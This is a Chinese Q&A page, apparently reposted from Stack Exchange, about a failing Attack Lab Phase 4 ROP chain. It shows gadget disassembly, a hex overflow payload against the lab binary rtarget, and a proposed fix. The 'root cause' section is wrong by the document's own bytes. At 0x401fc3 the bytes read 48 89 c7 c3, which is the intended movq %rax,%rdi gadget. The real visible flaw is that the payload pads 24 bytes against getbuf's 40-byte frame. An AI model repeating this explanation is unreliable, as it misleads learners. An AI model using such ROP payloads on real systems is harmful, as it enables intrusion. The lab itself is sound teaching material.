You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Attack Lab Phase4:ROP攻击中rdi未正确获取cookie值的问题

ROP缓冲区溢出攻击Phase4问题排查

核心目标

通过ROP技术组合gadget,将指定cookie值传入touch2()函数的%rdi寄存器,完成Phase4实验要求。计划使用的gadget序列为:

popq %rax
movq %rax, %rdi
ret

已定位的Gadget

从目标程序中提取了两个函数的汇编代码,尝试从中拆分所需gadget:

0000000000401f91 <addval_168>:
  401f91:   f3 0f 1e fa             endbr64 
  401f95:   8d 87 0d 92 58 90       lea    -0x6fa76df3(%rdi),%eax
  401f9b:   c3                      retq   

使用地址0x401f99对应指令:popq %rax

0000000000401fbd <addval_217>:
  401fbd:   f3 0f 1e fa             endbr64 
  401fc1:   8d 87 48 89 c7 c3       lea    -0x3c3876b8(%rdi),%eax
  401fc7:   c3                      retq   

错误认为地址0x401fc3对应指令序列:movq %rax, %rdi; ret;

构造的Payload

按照预期gadget序列构造的payload如下:

00 00 00 00 00 00 00 00  # 缓冲区溢出填充(Padding)
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
99 1f 40 00 00 00 00 00  # 第一个gadget: popq %rax
10 76 a6 11 00 00 00 00  # Cookie值,将被弹出到%rax
c3 1f 40 00 00 00 00 00  # 第二个gadget: movq %rax, %rdi
9d 1d 40 00 00 00 00 00  # 目标函数: touch2

错误现象

执行payload后得到错误结果:

ylx739:tesla22 ~/attack/target72> ./rtarget < phase4-raw.txt        
./rtarget: /lib64/libcurl.so.4: no version information available (required by ./rtarget)
Cookie: 0x11a67610
Type string:Misfire: You called touch2(0x00000001)
FAILED

通过GDB调试确认:Gets()执行后栈内容完全符合输入,但进入touch2()时,%rdi的值为随机地址0x7ffff7b389c0,而非预期的cookie值0x11a67610。

补充关键函数汇编

touch2函数

0000000000401d9d <touch2>:
  401d9d:       f3 0f 1e fa             endbr64
  401da1:       50                      push   %rax
  401da2:       58                      pop    %rax
  401da3:       48 83 ec 08             sub    $0x8,%rsp
  401da7:       89 fa                   mov    %edi,%edx
  401da9:       c7 05 49 37 00 00 02    movl   $0x2,0x3749(%rip)        # 4054fc <vlevel>
  401db0:       00 00 00
  401db3:       39 3d 4b 37 00 00       cmp    %edi,0x374b(%rip)        # 405504 <cookie>
  401db9:       74 2a                   je     401de5 <touch2+0x48>
  401dbb:       48 8d 35 e6 14 00 00    lea    0x14e6(%rip),%rsi        # 4032a8 <_IO_stdin_used+0x2a8>

getbuf函数

(gdb) disas getbuf
Dump of assembler code for function getbuf:
   0x0000000000401d4f <+0>:     endbr64
   0x0000000000401d53 <+4>:     sub    $0x28,%rsp
   0x0000000000401d57 <+8>:     mov    %rsp,%rdi
   0x0000000000401d5a <+11>:    callq  0x4021e7 <Gets>
   0x0000000000401d5f <+16>:    mov    $0x1,%eax
   0x0000000000401d64 <+21>:    add    $0x28,%rsp
   0x0000000000401d68 <+25>:    retq
End of assembler dump.

问题根源与解决方案

问题根源

错误识别了第二个gadget的指令:
addval_217函数中0x401fc1处的lea指令机器码为8d 87 48 89 c7 c3,从0x401fc3开始的字节是89 c7 c3,对应的指令是:

mov %edi, %edi  # 89 c7
ret             # c3

这只是一个无意义的32位寄存器复制指令,根本不存在movq %rax, %rdi的操作,因此%rax中的cookie值从未被传入%rdi,导致touch2()读取到的是未初始化的随机值。

解决方案

  1. 重新寻找正确的gadget:查找包含movq %rax, %rdi; ret的指令序列,对应的机器码应为48 89 c7 c3。
  2. 替换gadget组合:直接寻找popq %rdi; ret的gadget,简化payload结构:
    • 构造payload时,在覆盖返回地址的位置先放入popq %rdi的gadget地址
    • 紧跟放入cookie值
    • 最后放入touch2()的地址
      这样执行时,popq %rdi会直接把cookie值加载到%rdi寄存器,随后调用touch2()即可完成目标。

内容的提问来源于stack exchange,提问作者Ian Burns

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.06.13 20:54:53